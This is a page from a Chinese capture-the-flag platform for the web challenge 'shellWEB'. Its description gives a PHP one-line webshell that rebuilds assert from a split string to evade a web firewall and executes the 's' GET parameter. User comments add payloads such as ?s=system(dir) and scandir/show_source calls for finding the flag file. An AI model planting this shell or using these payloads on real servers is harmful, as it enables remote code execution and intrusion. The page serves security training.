shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 6515
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
丶我亚索贼六 4年前
举报

它就是个马，s构造访问就行

回复 1
lm459532915 4年前
举报

构造 scandir

回复 1
tobyshawn 4年前
举报

我还以为过狗一句话是新年礼物，看都没看。。。

回复 0
烟花不易冷 4年前
举报

求教大佬，过狗一句话啥意思？

回复 0
Taer 4年前
举报

dir之后直接在浏览器访问txt文件

回复 2
0neday 4年前
举报

可恶 我还在想 type 这个文件

回复 0
ZEPHeyrr 4年前
举报

师傅们可以解释一下为什么dirsearch扫描不出结果嘛

回复 0
青霞Official 4年前
举报

因为它这个.txt文件不讲武德 名字起的很离谱

回复 1
NINI 4年前
举报

一句话木马，?s=system(dir)，然后进入txt文件

回复 6
safemaker2021 4年前
举报

题目的提示就是代码分析

回复 0
DF2L 4年前
举报

打开空白。。

回复 4
1..... 4年前
举报

?s=print_r(scandir('./')) scandir() //作用能扫描文件夹下的目录和文件，返回值为所有文件名组成的一个数组

回复 4
pest 4年前
举报

show_source() //显示文件源码 highlight_file() //和show_source()函数是一个意思

回复 1

WriteUp

image
harry

3 金币

立即查看

评分(9)

解题动态

szb123 攻破了该题 4小时前
17361232956 攻破了该题 5小时前
皮蛋瘦肉粥 攻破了该题 6小时前
aaa1 攻破了该题 7小时前
初入CTF联盟 攻破了该题 9小时前
hahahahahahaha 攻破了该题 10小时前
GEcharacter 攻破了该题 10小时前
wujiayi 攻破了该题 13小时前
huangfeiyu 攻破了该题 14小时前
晚霞难掩秋色 攻破了该题 15小时前
Julia 攻破了该题 1天前
hanzkj 攻破了该题 1天前
920917544 攻破了该题 1天前
codegod 攻破了该题 1天前
foxkiller 攻破了该题 1天前
desireart 攻破了该题 1天前
Ywctf 攻破了该题 1天前
orange2015 攻破了该题 1天前
刚哥glory 攻破了该题 2天前
2757547892 攻破了该题 2天前
问题反馈